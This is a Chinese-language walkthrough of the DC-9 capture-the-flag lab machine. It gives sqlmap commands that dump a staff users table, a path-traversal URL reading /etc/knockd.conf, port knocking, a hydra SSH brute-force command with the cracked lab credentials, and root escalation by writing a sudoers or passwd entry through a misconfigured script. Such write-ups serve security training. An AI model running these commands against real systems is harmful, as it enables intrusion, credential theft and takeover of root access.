DC-9

    技术2025-01-11  16

    靶机:192.168.56.109

    攻击机:kali 192.168.56.1

    关键字:sql注入、本地包含、敲门服务、hydra爆破ssh、sudoers文件、openssl

    目录

    探索靶机

    SQL注入漏洞

    文件包含漏洞

    使用hydra爆破ssh

    提权

    方法1 修改sudouers文件

    方法2 写入passed文件

    获取flag


    探索靶机

    nmap -T4 -A -v -p- 192.168.56.109

    这次不用默认扫描了,全面扫描一次好像也花不了多少时间。

    查看网页

    SQL注入漏洞

    尝试搜索功能有没有漏洞

    正常输入tom

    注入tom' tom" 结果都如下

    注入tom'# tom"#

    判读为单引号注入,可以直接交给sqlmap了

    查看有哪些数据库

    sqlmap -u "http://192.168.56.109/results.php" --data "search=1" --batch --dbs --current-db

    有两个保存网站用户数据的数据库,都可以看看

    先看staff数据库

    sqlmap -u "http://192.168.56.109/results.php" --data "search=1" --batch -D Staff --tables

    sqlmap -u "http://192.168.56.109/results.php" --data "search=1" --batch -v 3 --level 3 -D Staff -T StaffDetails --columns

    sqlmap -u "http://192.168.56.109/results.php" --data "search=1" --batch -v 3 --level 3 -D Staff -T Users --columns

    sqlmap -u "http://192.168.56.109/results.php" --data "search=1" --batch -v 3 --level 3 -D Staff -T Users --dump

    admin | 856f5de590ef37314e7c3bdf6f8a66dc

    这里就获取到了一个类似管理员的帐号,关联下网站,似乎可以登录manage页面

    这里的密码是通过MD5加密,sqlmap本来要用字典解密密码,没解出来

    通过在线MD5解密,获取密码transorbital1

    把users数据库中的数据爆出来看下是否可以利用,方法同上了

    这里一下出来很多用户,感觉会很有用

    向尝试下登录manage页面,发现只有admin可以登录上去

    文件包含漏洞

    登录上去之后,就多了一个功能,但似乎没什么用

    不过仔细观察可以发现manage.php页面和addrecord.php页面都有File does not exist字样。尝试以下文件包含漏洞。

    这里使用file参数测试就当运气好吧,直接猜对了。按前面有一章我们使用文件包含漏洞是使用网站存在的php文件来测试这个接受文件的参数,file就是这个网页的接受文件的参数。但这里使用存在的文件似乎并不起作用,如index.php登录,包含进来都是显示File does not exist。这种情况下可以使用以下文件来批量测试。这些字典文件可以在网上找到。

    我这里是手动测试,先测试绝对路径

    然后测试相对路径

    发现确实存在文件包含漏洞

    后面实验做完后去靶机看了下源代码,文件包含的代码如下

    在目录中并不存在contact-info.php文件和directory目录。这里突然又多了疑惑,不存在directory是怎么绕过这个目录查看本地文件的呢?不知道有大佬可以指点一下不。

    在本地测试表示文件名不能不存在呀。

    接着做,用字典爆破linux敏感目录,我的字典不行,没有爆出来。正确结果应该会爆出来/etc/knockd.conf文件

    介绍一下:端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

    192.168.56.109/manage.php?file=../../../../etc/knockd.conf

    按有些教程使用nmap去敲门,我敲了半天没有结果。最后安装了knockd服务,使用knockd来敲门。

    然后探测22房间,发现开门了

    使用hydra爆破ssh

    我们前面通过暴库拿到很多用户名密码,通过hydra可以尝试爆破一下ssh

    hydra -L user.txt -P pass.txt -t 10 -v ssh://192.168.56.109

    得到3个用户

    login: chandlerb password: UrAG0D! login: joeyt password: Passw0rd login: janitor password: Ilovepeepee

    依次登录,会发现这3个用户都没有SUID提权的机会。在janitor用户下可以发现一个有用的隐藏文件

    里面也保存着一部分密码,拿出来放到pass.txt继续爆破,会又找到一个用户

    login: fredf password: B4-Tru3-001

    提权

    登录这个fredf用户,枚举sudo命令,发现可以无密码使用root权限执行指定目录下的test文件

    切换到目录,查看这个文件发现有些乱码情况,大致看的出是python文件

    执行下这个文件,发现test.py报错,使用find命令查找一下test.py在哪。这里2>/dev/null表示不显示错误。

    找到python文件后去看看文件内容

    当Python传入的参数是三个的时候,可以把第二个的读出,并写入到第三个的尾端,而第一个参数就是test.py。

    这里应该是不能修改test.py文件的,因为test文件才具有root权限,test应该就是python文件已经编译好的模块,即使修改python文件也没有用了。

    那我们就想办法利用这个test文件了。test文件可以让我们做到用root权限去写入内容到文件。

    这里有两个方法,一是添加一个超级用户到passwd文件。二是添加权限内容到sudoers文件。

    方法1 修改sudouers文件

    让fredf用户可以通过sudo执行所有权限

    echo "fredf ALL=(ALL:ALL) ALL" > /tmp/3.txt

    切换到root用户

    参考:sudoers的深入介绍

    方法2 写入passed文件

    尝试写入空密码不行

    使用openssl制作一个md5加密的密码

    这里echo 输入时一定不能用双引号,和$结合会把一些字符认为是变量导致没法写入,我就试了半天没有成功

    切换到新加的用户上

    获取flag

    总结:黑客通过网页的sql注入漏洞爆出了网站的管理员帐号,和大批服务器用户。通过本地包含漏洞找到了网站的Knockd服务的配置文件,敲门后可以连接ssh端口。通过hydra和收集的用户信息爆破了可以登录的帐号密码。在这些帐号密码中,找到了一个权限设计不严谨的脚本。通过这个脚本最终获取了服务器的root权限。

    Processed: 0.010, SQL: 9